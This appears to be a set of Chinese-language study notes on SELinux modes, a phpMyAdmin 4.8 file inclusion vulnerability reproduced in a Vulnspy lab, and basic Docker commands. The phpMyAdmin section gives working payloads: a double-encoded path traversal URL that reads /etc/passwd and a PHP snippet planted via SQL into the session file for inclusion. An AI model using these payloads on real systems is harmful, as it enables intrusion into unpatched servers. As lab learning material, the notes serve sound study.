Table of Contents

  1. 1. SELINUX
  2. 2.phpmyadmin4.8文件包含漏洞
  3. 3. docker容器

1. SELINUX

即Security-Enhanced Linux,是一个Linux内核模块,也是Linux的一个安全子系统。SELinux作用是最大限度地减少系统中服务进程可访问的资源(最小权限原则)。

如果一个以root身份运行的网络服务存在0day漏洞,黑客就可以利用这个漏洞,以root的身份在您的服务器上为所欲为。SELinux就是解决这个问题。

系统 资源能否被访问因素
无SELinux 某资源是否拥有对应用户的权限(读写执行)
SELinux 还需要判断每一类进程是否拥有对某一类资源的访问权限

SELinux的工作模式

模式名称 工作模式 作用
enforcing 强制模式 违反SELinux规则的行为将组织并记录到日志中
permissive 宽容模式 违反SELinux规则的行为只会记录到日志中,调试用
disabled 关闭模式 关闭SELinux

SELinux工作模式可以在/etc/selinux/config中设定

1
2
#修改SELinux模式
vi /etc/selinux/config

修改以后重启系统即可。

2.phpmyadmin4.8文件包含漏洞

goto_whitelist白名单如下:

1
2
3
4
5
6
7
8
9
10
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
)

进入Vulnspy开始实验

从index.php定位到白名单中的php文件

1
http://3395a164a7f3b89d07d1e02cf6a3792e.vsplate.me:28268/index.php?target=db_export.php?

将?改%253f读取系统文件,进行多次 ./以进入到系统的根目录,然后读取/etc/passwd

1
http://3395a164a7f3b89d07d1e02cf6a3792e.vsplate.me:28268/index.php?target=db_export.php%253f../../../../../../../../../../etc/passwd

Note: target=后面的文件填写白名单文件均可成功,?要用%253f代替

图一

点击SQL输入

1
select '<?php phpinfo(); exit;?>'

图二

Note:phpmyadmin特性是所有sql查询语句都早sess_id中存储着。

sess_id在/var/lib/php/session/目录中

图三

3. docker容器

类似于虚拟机,依赖与linux

1
2
3
4
5
6
7
8
9
10
11
#查看创建的镜像
docker images
#启动docker
service docker start
#修改docker的用户组
sudo usermod -G docker $USER
#重启虚拟机reboot
reboot
docker images
docker-compose
docker run --rm -it alpine /bin/bash